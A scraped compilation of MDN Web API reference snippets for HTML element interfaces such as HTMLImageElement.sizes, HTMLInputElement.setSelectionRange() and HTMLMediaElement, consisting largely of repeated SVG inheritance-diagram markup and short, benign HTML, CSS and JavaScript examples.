...oke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmliframeelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmliframeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLImageElement.sizes - Web APIs
html <article> <h1>an amazing headline</h1> <div class="test"></div> <p>this is even more amazing content text.
...award-winning stuff, i'm sure.</p> <img src="/files/16870/new-york-skyline-wide.jpg" srcset="/files/16870/new-york-skyline-wide.jpg 3724w, /files/16869/new-york-skyline-4by3.jpg 1961w, /files/16871/new-york-skyline-tall.jpg 1060w" sizes="((min-width: 50em) and (max-width: 60em)) 50em, ((min-width: 30em) and (max-width: 50em)) 30em, (max-width: 30em) 20em"> <p>then there's even more amazing stuff to say down here.
...i sure can't.</p> <button id="break40">last width: 40em</button> <button id="break50">last width: 50em</button> </article> css article { margin: 1em; max-width: 60em; min-width: 20em; height: 100vh; border: 4em solid #880e4f; border-radius: 7em; padding: 1.5em; font: 16px "open sans", verdana, arial, helvetica, sans-serif; } article img { display: block; max-width: 100%; border: 1px solid #888; box-shadow: 0 0.5em 0.3em #888; margin-bottom: 1.25em; } javascript the javascript code handles the two buttons that let you toggle the third width option between 40em and 50em; this is done by handling the click event, using the javascript string object method replace() to replace the relevant portion of the sizes string.
... let image = document.queryselector("article img"); let break40 = document.getelementbyid("break40"); let break50 = document.getelementbyid("break50"); break40.addeventlistener("click", event => image.sizes = image.sizes.replace(/50em,/, "40em,")); break50.addeventlistener("click", event => image.sizes = image.sizes.replace(/40em,/, "50em,")); result this result may be viewed in its own window here.
HTMLInputElement.setSelectionRange() - Web APIs
for example, on input of type number: "failed to read the 'selectionstart' property from 'htmlinputelement': the input element's type ('number') does not support selection".
...possible values: "forward" "backward" "none" if the direction is unknown or irrelevant.
... example click the button in this example to select the third, fourth, and fifth characters in the text box ("zil" in the word "mozilla").
... html <input type="text" id="text-box" size="20" value="mozilla"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLLabelElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25...
... 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospac...
...e" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4...
..."/><a xlink:href="/docs/web/api/htmllabelelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllabelelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLLegendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,2...
...5 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospa...
...ce" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde...
...4"/><a xlink:href="/docs/web/api/htmllegendelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllegendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor...
...="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text ...
... x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="50...
...9" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmapelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLMediaElement.onencrypted - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-ba...
...seline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4...
...dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onencrypted = function(encrypted) { ...
HTMLMediaElement.onwaitingforkey - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" ...
...text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2p...
...x" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1=...
..."25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onwaitingforkey = function(waitingforkey) { ...
HTMLMediaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 30%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-ancho...
...r="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text...
... x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="5...
...09" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its ancestors htmlelement, element, node, and eventtarget.
HTMLMenuElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtar...
...get</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family...
...="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1...
...="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
HTMLMenuItemElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1=...
..."509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
HTMLMetaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="11...
...1,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
...space" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4...
...dde4"/><a xlink:href="/docs/web/api/htmlmetaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmetaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLMeterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fil...
...l="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stro...
...ke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line ...
...x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmeterelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmeterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent, htmlelement.
HTMLModElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e5...
